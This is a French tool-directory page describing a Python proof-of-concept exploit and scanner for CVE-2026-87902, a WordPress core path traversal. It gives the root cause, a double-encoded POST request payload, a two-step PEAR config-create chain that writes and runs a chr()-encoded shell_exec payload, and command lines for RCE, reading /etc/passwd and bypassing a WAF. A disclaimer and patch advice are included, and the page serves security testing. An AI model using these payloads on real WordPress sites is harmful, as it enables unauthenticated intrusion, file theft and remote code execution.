Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-87902 — PoC et scanner Python pour CVE-2026-87902, une traversée de chemin dans le cœur de WordPress menant à une LFI et à une RCE basée sur PEAR, avec contournement de WAF et exploitation automatisée. | Kitploit
Outils/GitHubGitHub/bhideki/cve-2026-87902
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebContournement de WAFSécurité WebTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubbhideki/cve-2026-87902

CVE-2026-87902

1il y a 1 jourPas encore vérifié

PoC et scanner Python pour CVE-2026-87902, une traversée de chemin dans le cœur de WordPress menant à une LFI et à une RCE basée sur PEAR, avec contournement de WAF et exploitation automatisée.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-87902 — WordPress Core Path Traversal / LFI / RCE

Inclusion de fichier local non authentifiée via un path traversal doublement encodé dans le résolveur de template de page du cœur de WordPress, avec une chaîne RCE basée sur PEAR.

Détails de la vulnérabilité

ChampValeur
CVECVE-2026-87902
CVSS9.2 (Critique) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWECWE-98 — Contrôle inapproprié du nom de fichier pour Include/Require
AffectéWordPress 4.7.0 – 7.1.1
CorrigéWordPress 7.1.2 + rétroportages vers toutes les branches supportées
AuthAucune (non authentifiée)

Cause racine

get_page_template() dans wp-includes/template.php appelle urldecode() sur le paramètre de requête pagename après que l'assainissement a déjà été exécuté. Une séquence ../ doublement encodée (%252E%252E%252F) passe le premier décodage PHP sous la forme %2E%2E%2F, survit à sanitize_title_with_dashes() (qui préserve les séquences %xx), puis est décodée par l'appel tardif urldecode() de WordPress en ../ — échappant ainsi du répertoire du thème.

La méthode POST est requise car redirect_canonical() retourne prématurément pour les requêtes non-GET/HEAD, empêchant la normalisation du chemin avant d'atteindre le code vulnérable.

Flux d'exploitation

root@kitploit:~
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex

1. PHP decodes POST body:     templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP sanitize preserves:     templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() resolves: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() succeeds → include() executes the file

Impact

  • Inclusion de fichier local — des fichiers .php arbitraires en dehors du répertoire du thème sont inclus et exécutés
  • Exécution de code à distance — via la chaîne de gadgets PEAR pearcmd.php (nécessite PEAR installé + register_argc_argv=On)

Chaîne RCE PEAR

Deux requêtes POST anonymes permettent d'obtenir une RCE :

Étape 1 — Inclure pearcmd.php via le traversal. La chaîne de requête /?+config-create+/<php-payload>+<output>.php devient l'argv de PEAR. La commande config-create écrit des données contrôlées par l'attaquant (y compris des balises PHP) dans un répertoire accessible en écriture.

Étape 2 — Inclure le fichier écrit par PEAR. Le PHP embarqué s'exécute avec les privilèges du serveur web.

Les payloads PHP utilisent l'encodage chr() (<?=shell_exec(chr(105).chr(100))?>) pour éviter les caractères de guillemets que wp_magic_quotes() échapperait.

Outil

cve-2026-87902.py — vérificateur automatisé + scanner LFI + exploit RCE PEAR. Utilise http.client pour un contrôle exact des octets de la requête (aucun ré-encodage par une bibliothèque).

Prérequis

Python 3.6+ (bibliothèque standard uniquement — aucune dépendance pip)

Utilisation

root@kitploit:~
# Check vulnerability only
python3 cve-2026-87902.py https://target.com --check

# Check with WAF bypass (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart

# Specify page ID and traversal depth
python3 cve-2026-87902.py https://target.com -p 42 --depth 7

# LFI scan (default targets)
python3 cve-2026-87902.py https://target.com

# LFI scan with custom files
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable

# RCE via PEAR chain
python3 cve-2026-87902.py https://target.com --rce "id"

# Read a file via RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname

# Full options
python3 cve-2026-87902.py https://target.com --rce "whoami" \
    --pear /usr/local/lib/php/pearcmd \
    --output /tmp/wp-rce-payload \
    --multipart --timeout 30

Ce qu'il fait

  1. Détection du thème — extrait le thème actif depuis le HTML, sonde les répertoires page-*
  2. Découverte de pages — interroge l'API REST pour les pages publiées avec des templates par défaut
  3. Test de traversal — balaye plusieurs profondeurs (1-12) avec des payloads POST doublement encodés
  4. Contournement de WAF — --multipart encapsule le payload dans multipart/form-data pour échapper à la correspondance de motifs du WAF
  5. Scan LFI — inclut des fichiers WordPress connus et compare les tailles de réponse à la référence
  6. RCE — chaîne PEAR en deux étapes avec des payloads encodés en chr()

Marqueurs de sortie

MarqueurSignification
[HIT]Le fichier a été inclus avec succès
[---]Réponse normale (fichier non inclus)
[???]La réponse diffère significativement — à investiguer
[WAF]Bloqué par le WAF (403)
[ERR]Échec de connexion

Préconditions

  • Le thème actif doit contenir un répertoire page-* (par ex. page-templates/)
  • Au moins une page publiée avec le template par défaut
  • Version de WordPress dans la plage affectée (non corrigée)
  • Pour la RCE : pearcmd.php de PEAR lisible + register_argc_argv=On + /tmp accessible en écriture

Remédiation

Mettez à jour vers WordPress 7.1.2 ou la dernière version de sécurité pour votre branche (rétroportages disponibles jusqu'à 4.7).

Références

  • Robert Ressl — CVE-2026-87902 Write-up
  • WordPress Security Advisory — GHSA-7hp8-65ch-5whp
  • Hadrian Vulnerability Alert

Avertissement

Cet outil est fourni uniquement pour des tests de sécurité autorisés et de la recherche en bug bounty. Ne l'utilisez que contre des systèmes pour lesquels vous disposez d'une autorisation explicite de test. L'accès non autorisé à des systèmes informatiques est illégal.

Télécharger l’outil